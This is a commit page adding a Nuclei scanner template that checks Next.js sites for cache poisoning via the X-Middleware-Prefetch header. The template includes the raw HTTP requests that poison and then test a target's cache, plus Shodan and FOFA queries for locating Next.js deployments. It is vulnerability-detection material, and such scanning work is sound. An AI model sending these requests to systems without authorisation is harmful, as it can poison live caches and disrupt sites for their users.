Merge pull request #10244 from projectdiscovery/nextjs-middleware-cache
Next.js Cache Poisoning using X-Middleware-Prefetchpatch-4
commit
becce06a33
|
@ -0,0 +1,50 @@
|
|||
id: nextjs-middleware-cache
|
||||
|
||||
info:
|
||||
name: Next.js - Cache Poisoning
|
||||
author: DhiyaneshDk
|
||||
severity: high
|
||||
description: |
|
||||
Next.js is vulnerable to Cache Poisoning using X-Middleware-Prefetch.
|
||||
reference:
|
||||
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-cache-poisoning-a-quest-for-the-black-hole
|
||||
metadata:
|
||||
verified: true
|
||||
vendor: vercel
|
||||
product: next.js
|
||||
framework: node.js
|
||||
shodan-query:
|
||||
- http.html:"/_next/static"
|
||||
- cpe:"cpe:2.3:a:zeit:next.js"
|
||||
fofa-query: body="/_next/static"
|
||||
tags: nextjs,cache
|
||||
|
||||
variables:
|
||||
rand: "{{rand_text_numeric(5)}}"
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
GET /?cb={{rand}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
X-Middleware-Prefetch: 1
|
||||
Priority: u=1
|
||||
|
||||
- |
|
||||
@timeout: 10s
|
||||
GET /?cb={{rand}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
X-Middleware-Prefetch: 1
|
||||
Priority: u=1
|
||||
|
||||
- |
|
||||
@timeout: 10s
|
||||
GET /?cb={{rand}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- "status_code_2 == 200 && contains(all_headers_2, 'X-Middleware-Skip: 1')"
|
||||
- "status_code_3 == 200 && contains(all_headers_3, 'X-Middleware-Skip: 1')"
|
||||
condition: and
|
Loading…
Reference in New Issue